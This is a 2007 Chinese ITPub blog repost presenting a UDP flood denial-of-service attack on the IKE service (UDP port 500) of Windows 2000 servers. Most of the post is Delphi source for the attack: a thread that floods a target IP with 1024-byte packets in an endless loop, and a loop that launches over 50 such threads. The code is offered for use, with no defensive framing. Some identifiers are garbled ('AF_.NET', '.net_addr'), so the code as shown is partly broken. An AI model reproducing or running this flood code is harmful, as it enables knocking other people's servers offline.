ITPub博客

首页 > IT基础架构 > 网络安全 > udp 500 D.O.S攻击 (转)

udp 500 D.O.S攻击 (转)

原创 网络安全 作者:amyz 时间:2007-10-17 18:11:55 0 删除 编辑
udp 500 D.O.S攻击 (转)[@more@]

  前些日子,看见有文章说win2000服务器的500端口对flood攻击防御不是很好,我测试了一下,发现很有效果,对win2000服务器的udp500发送大量包的时候,win2000服务器的cpu率一下子达到了100%,而且反应立刻迟钝下来.

程序如下:

线程程序://线程的执行代码,创建线程请用菜单new一个Theadobject

uses winsock;

procedure udpdos.Execute;
var
wsa:TWSAData;
s: TSocket;
sockin: TSockAddrIn;
buf:array[0..1023] of byte;
i: integer;
DIP:string;
begin
  { Place thread code here }
//win2000下利用ike(udp 500)的DOS攻击
//by 杨顺
  FreeOnTeRminate := true;

//destIP是主Form里面上,就是要攻击的对象,在主Form里面申明一个这样的变量就可以了
  Dip := DestIP;

//填充buf
  for i := 0 to 1023 do
  buf[i] := 97;

//初始化socket2
  WSAStartup($101,wsa);

//创建udp socket
  s := socket(AF_.NET,SOCK_DGRAM,IPPROTO_UDP);
  sockin.sin_family := AF_INET;
  sockin.sin_port := htons(IKE);
  sockin.sin_addr.S_addr := .net_addr(pchar(DIP));
  while true do
  begin
  if self.Terminated then
  break;

  //发送数据报
  sendto(s,buf,1024,0,sockin,sizeof(sockin));
  end;
  closesocket(s);
  WSACleanup;

 end;

主form里面,调用

  for i := 0 to 50 do
  begin
  udpdos.Create(false); //创建50多个线程,进行攻击
  end;

顺便提一下,坚持用户输入的ip是否合法,一句话就可以了

uses winsock

  if inet_addr(pchar(DestIP)) =  inaddr_none  then
  begin
  showmessage('输入的IP地址错误');
  exit;
  end;


来自 “ ITPUB博客 ” ,链接:http://blog.itpub.net/10752019/viewspace-977182/,如需转载,请注明出处,否则将追究法律责任。

请登录后发表评论 登录
全部评论
  • 博文量
    3984
  • 访问量
    7371992